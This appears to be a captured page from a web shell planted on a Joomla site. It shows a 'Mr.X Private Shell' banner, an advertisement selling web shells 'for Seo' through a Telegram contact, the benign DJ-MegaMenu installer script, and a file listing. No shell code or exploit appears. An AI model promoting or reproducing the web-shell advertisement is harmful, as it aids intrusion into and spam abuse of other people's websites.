__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
class Mod_DJMegamenuInstallerScript
{
/*
* $parent is the class calling this method.
* $type is the type of change (install, update or discover_install, not uninstall).
* preflight runs before anything else and while the extracted files are in the uploaded temp folder.
* If preflight returns false, Joomla will abort the update and undo everything already done.
*/
function postflight( $type, $parent ) {
$db = JFactory::getDBO();
$config = JFactory::getConfig();
if($type == 'install') {
$db->setQuery("UPDATE #__extensions SET enabled=1 WHERE type='plugin' AND element='djmegamenu'");
$db->execute();
}
if($type == 'update') {
// we need to handle the update server for package here
require_once(JPath::clean(JPATH_ROOT.'/modules/mod_djmegamenu/fields/djupdater.php'));
JFormFieldDJUpdater::setUpdateServer(DJUPDATER_URL_LIGHT);
// disable old update server
$db->setQuery("UPDATE #__update_sites SET enabled=0 WHERE name='DJ-MegaMenu Package' AND type='extension'");
$db->execute();
}
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| assets | Folder | 0775 |
|
|
| fields | Folder | 0775 |
|
|
| helpers | Folder | 0775 |
|
|
| language | Folder | 0775 |
|
|
| mobilethemes | Folder | 0775 |
|
|
| themes | Folder | 0775 |
|
|
| tmpl | Folder | 0775 |
|
|
| index.html | File | 0 B | 0664 |
|
| mod_djmegamenu.php | File | 7.3 KB | 0664 |
|
| mod_djmegamenu.xml | File | 29.38 KB | 0664 |
|
| script.djmegamenu.php | File | 1.16 KB | 0664 |
|